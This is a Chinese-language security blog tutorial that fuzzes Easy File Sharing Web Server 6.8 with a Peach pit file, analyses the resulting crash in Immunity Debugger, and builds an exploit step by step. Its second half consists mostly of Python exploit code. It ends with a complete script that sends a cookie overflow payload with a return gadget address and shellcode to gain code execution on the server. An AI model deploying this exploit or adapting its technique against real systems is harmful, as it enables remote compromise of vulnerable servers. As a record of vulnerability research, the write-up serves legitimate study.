协议Fuzz:从Pit开发到弹计算器

针对Http协议从fuzz、漏洞分析到利用全过程

Posted by Carter on June 7, 2017

事情的起因是在github上闲逛,看到了一篇老外写的讨论协议fuzz的文章(https://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/),虽然全是英文,但也浅显易懂,所以想着按照他提供的思路和流程,仔细走一遍

一. 工具:

  1. Peach 3.1

  2. Immunity Debugger (需要安装一个很好用的python脚本:mona.py)

  3. Wireshark (用于验证fuzz发包过程)

  4. SocketSniff(用于抓包验证协议过程)

二. 目标:

​ Easy file sharing web server 6.8

三. 方法论:

安装与使用EFS:

  1. 选择了在exploit-db上找到了文章中所说Easy file sharing web server 6.8 的栈溢出漏洞的详情(https://www.exploit-db.com/exploits/33352/),下载了对应版本的应用

img

  1. 安装后是一个类似于ftp功能的web server,提供文件上传下载的功能。打开应用后首先弹出一个注册对话框,点击”Try it”进入到服务器主页面。事实证明,每次打开该软件都会弹出该对话框,只有关闭了这个对话框服务器才会正常启动。因此在fuzz的时候需要通过代码自动关闭该对话框(本文后续部分会具体提到) img

  2. 打开后的界面如下图所示,显示了服务器的ip地址和访问端口 img

  3. 在浏览器中输入服务器ip地址,来到登录界面 img

  4. 点击”login as a guest”,便可以方便快速的使用服务器的功能了 img

了解协议格式:

  1. 既然要进项协议fuzz,那么首先应该搞清楚和服务器之间的通信协议是怎么样的。随意下载一个可以在应用层进行抓包的软件就可以满足我们的需求,在此我用的是SocketSniff。首先选择需要SoketSniff附加的进程 img

  2. 接着进行正常的登录过程,可以看到SocketSniff已经抓到了该过程的数据包 img

  3. 打开第3个数据包,具体内容如下:这个数据包是发送至文件上传页面vfolder.php的,其Cookie里有三个字段,分别为SESSEIONID、UserID和PassID,因为我们是匿名登录,所以UserID和PassID这两个字段都位空,这正是我们想要fuzz的点 img

编写Pit文件进行Fuzz

  1. 针对该HTTP协议,写出对应的pit文件,使用Peach进行fuzz。最终的pit文件如下:
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">

    <DataModel name="DataVfolder">
            <String value="GET /vfolder.ghp" mutable="false" token="true"/>                   
            <String value=" HTTP/1.1" mutable="false" token="true"/>
            <String value="\r\n" mutable="false" token="true"/>

            <String value="Accept: " mutable="false" token="true"/>
            <String value="image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*" mutable="false" token="true"/>   
            <String value="\r\n" mutable="false" token="true"/>   

            <String value="Accept-Language: " mutable="false" token="true"/>
            <String value="zh-cn" mutable="false" token="true"/>   
            <String value="\r\n" mutable="false" token="true"/>

            <String value="Accept-Encoding: " mutable="false" token="true"/>
            <String value="gzip, deflate" mutable="false" token="true"/>   
            <String value="\r\n" mutable="false" token="true"/>

            <String value="If-Modified-Since: " mutable="false" token="true" />
            <String value="Fri, 11 May 2012 10:11:48 GMT; length=12447" mutable="false" token="true" />
            <String value="\r\n" mutable="false" token="true"/>

            <String value="User-Agent: " mutable="false" token="true"/>
            <String value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)" mutable="false" token="true"/>   
            <String value="\r\n" mutable="false" token="true"/>

            <String value="Host: ##HOST##:##PORT##" mutable="false" token="true"/>
            <String value="\r\n" mutable="false" token="true"/>

            <String value="Conection: " mutable="false" token="true"/>
            <String value="Keep-Alive" mutable="false" token="true"/>   
            <String value="\r\n" mutable="false" token="true"/>

            <String value="Cookie: " mutable="false" token="true"/>
            <String value="SESSIONID=2626; " mutable="false" token="true"/>

            <!-- fuzz UserID -->
            <String value="UserID=" mutable="false" token="true"/>
            <String value="" />
            <String value="; " mutable="false" token="true"/>

            <!-- fuzz PassWD -->
            <String value="PassWD=" mutable="false" token="true"/>
            <String value="" />
            <String value="; " mutable="false" token="true"/>               
            <String value="\r\n" mutable="false" token="true"/>
            <String value="\r\n" mutable="false" token="true"/>
    </DataModel>   

    <DataModel name="DataResponse">
        <!-- server reply, we don't care -->
        <String value="" />
    </DataModel>

    <StateModel name="StateVfolder" initialState="Initial">
        <State name="Initial">
            <Action type="output">
                <DataModel ref="DataVfolder"/>
            </Action>
            <Action type="input">
                <DataModel ref="DataResponse"/>
            </Action>   
        </State>
    </StateModel>   

    <Agent name="LocalAgent">
        <Monitor class="WindowsDebugger">
            <Param name="CommandLine" value="C:\EFS Software\Easy File Sharing Web Server\fsws.exe"/>	
        </Monitor>

        <!-- close the popup window asking us to buy the software before running tests -->
        <Monitor class="PopupWatcher">
            <Param name="WindowNames" value="Registration - unregistered"/>
        </Monitor>
    </Agent>

    <Test name="Default">
        <Agent ref="LocalAgent"/>
        <StateModel ref="StateVfolder"/>
        <Publisher class="TcpClient">
            <Param name="Host" value="##HOST##"/>
            <Param name="Port" value="##PORT##"/>
        </Publisher>

        <Logger class="File">
            <!-- save crash information in the Logs directory -->
            <Param name="Path" value="E:\peach3\efs\LOG"/>
        </Logger>

        <!-- use a finite number of test cases that test UserID first, followed by PassWD -->
        <Strategy class="Sequential" />

    </Test>   
</Peach>

在此,需要对三个关键地方进行说明:

  • pit文件中的##HOST##:##PORT## : 是声明两个变量,该变量是在具体fuzz时由外界提供
  • Monitor模块中的PopupWatcher方法:是根据弹窗的title,自动关闭该弹窗
  • Strategy是Test模块的子元素,提供了参数Sequential,有序对DataModel中的每一个可变元素进行fuzz
  1. 使用如下命令:
    peach.exe -DHOST=192.168.222.131 -DPORT=80 efs.xml
    

    开启Peach开始对Easy file sharing web server 6.8 进行fuzz img

  2. 整个fuzz过程就开始了,因为是Peach内置的TCP模块自动与服务器进行连接发包,为了搞清楚发包的过程和内容,我尝试着用wireshark抓包进行分析,令我意外的是竟然抓不到包。原来fuzz时发送的包发包地址和目的地址都是本地,是属于本地回环包,并没有进过Wireshark监听的本地网卡,所以抓不到包。解决方法也简单,就是通过命令行增加一条路由表
    // 增加一条路由表项
    // 192.168.222.131是本机ip ,192.168.222.1 是网关
    route add 192.168.222.131 mask 255.255.255.255 192.168.222.1 metric 1
    

    命令生效后,打印查看路由表,可以看到凡是发往192.168.222.131的数据包,均会先发往网关192.168.222.1,这样Wireshark就能抓到数据包了 img

  3. 从抓包结果分析,Peach是每次都会变换端口和服务器的80端口建立连接,发送包含畸形数据的HTTP包 img
  4. 现在需要做的就是等待。吃过饭回来,发现已经fuzz出了一堆crash img

崩溃文件分析与Exp脚本编写

  1. 在此Peach调用msec.dll已经根据崩溃现场将crash的利用程度进行了划分,一般情况下,我们只关注EXPLOITABLE文件夹内的crash。打开一个crash文件,发送的数据包中对UserID字段进行了fuzz,填充了很多个’A’,导致服务器处理该数据包时发生了crash img
  2. 崩溃现场如下图所示: img ​ 由上图可以看到,发生问题的指令是 call dword ptr[edx+28h],因为 edx+28h 是一个不可访问的地址,所以发生了程序异常退出。再来看看寄存器,此时edx寄存器已经被填充成立0x41414141,也就是被我们的输入可以控制edx的值,由于当前指令为 call dword ptr[edx+28h],我们也就间接的控制了eip的值,劫持了程序运行流

  3. 接下来就进入到写利用的环节。我们首先通过python的socket模块进行编程,来模拟发包过程
    import socket
    import struct
    target = "192.168.222.131"
    port = 80
    payload = 'A'*1000
    buf = (
    "GET /vfolder.ghp HTTP/1.1\r\n"
    "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*\r\n"
    "Accept-Language: zh-cn\r\n"
    "Accept-Encoding: gzip, deflate\r\n"
    "If-Modified-Since: Fri, 11 May 2012 10:11:48 GMT; length=12447\r\n"
    "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)\r\n"
    "Host: 192.168.222.131:80\r\n"
    "Conection: Keep-Alive\r\n"
    "Cookie: SESSIONID=2626; UserID=" + payload + "; PassWD=; \r\n\r\n"
    )
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target,port))
    s.send(buf)
    s.close() 
    
  4. 打开Immunity debugger,附加到fsws.exe上。因为从发生崩溃的指令地址为 0x0045c8c2,所以在此设置一个断点 img
  5. 运行python程序进行发包,程序成功的断在了断点处,F9继续运行,当第四次执行该条指令时,此时的edx被覆盖为0x41414141,esi和edi的值均指向了栈上可以被覆盖的地方 img
  6. 首先确定需要多少字节才能精准覆盖到edx,使用Immunity debugger的mona插件很容易计算出offset为80.
    payload = 'A'*80 + 'B'*4 + 'C'*1000
    

    img

  7. 因为在xp上,并未开启ASLR和NX,所以shellcode可以放到栈上进行执行。因为ESI又指向栈上地址,所以就想首先控制eip到”call esi”或者”jmp esi”这样的指令上去。寻找这样的指令也很简单,首先“alt+E”列出加载的DLL模块。因为payload中不能出现’\x00’,所以找了一个基地址为0x10000000地址的DLL img
  8. 双击进入到该模块,右键 –> Search for –> All command,查询”call esi”指令,从中选中一条不包含’\x00’的:0x1001b371 img
  9. 此时payload构造如下
    payload = 'A'*80 + struct.pack("<I", 0x019b68d4) + struct.pack("<I", 0x1001b371) + 'C'*1000
    

    ​ 如下图所示,此时已经顺利跳转到了”call esi”指令处,但是此时esi指向栈上的0x019b68e8位置,其下四个位置处即是覆盖edx的数据,不能允许被覆盖。如果shellcode放到0x019b68e8 这个地址,那么shellcode的空间只剩下可怜的16个字节。 img

  10. 为了解决这个问题,我们在这16个字节处放置过渡指令,即增大esi的值,然后再跳转过去执行。“add esi,0x18 ; jmp esi”。使用mona的汇编功能,进行汇编转机器码非常方便
    !mona assemble -s add esi,0x28
    

    img

  11. 使用这条指令是行不通的,因为指令的机器码中包含了可恶的”\x00”。可以用“sub esi,-0x18”来代替
    !moona assemble -s sub esi,-0x28
    

    img

  12. 所以此时payload构造如下。如下图,成功执行到调整指令,“jmp esi”时,esi已经指向了我们想要的广阔的栈空间
    payload = "A"*64 + "\x81\xee\xe8\xff\xff\xff" + "\xff\xe6"
    payload = payload.ljust(80,"A")
    payload += struct.pack("<I", 0x019b68d4) + struct.pack("<I", 0x1001b371) + “DDDD” + "C"*1000
    

    img

  13. 将payload中”DDDD”的位置换做shellcode就大功告成了
import socket
import struct
target = "192.168.72.130"
port = 80

shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)
payload = "A"*64 + "\x81\xee\xe8\xff\xff\xff" + "\xff\xe6"
payload = payload.ljust(80,"A")
payload += struct.pack("<I", 0x019b68d4) + struct.pack("<I", 0x1001b371) + shellcode

buf = (
"GET /vfolder.ghp HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*\r\n"
"Accept-Language: zh-cn\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"If-Modified-Since: Fri, 11 May 2012 10:11:48 GMT; length=12447\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)\r\n"
"Host: " + target + ":80\r\n"
"Conection: Keep-Alive\r\n"
"Cookie: SESSIONID=2626; UserID=" + payload + "; PassWD=; \r\n\r\n"
)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))
s.send(buf)
s.close()

img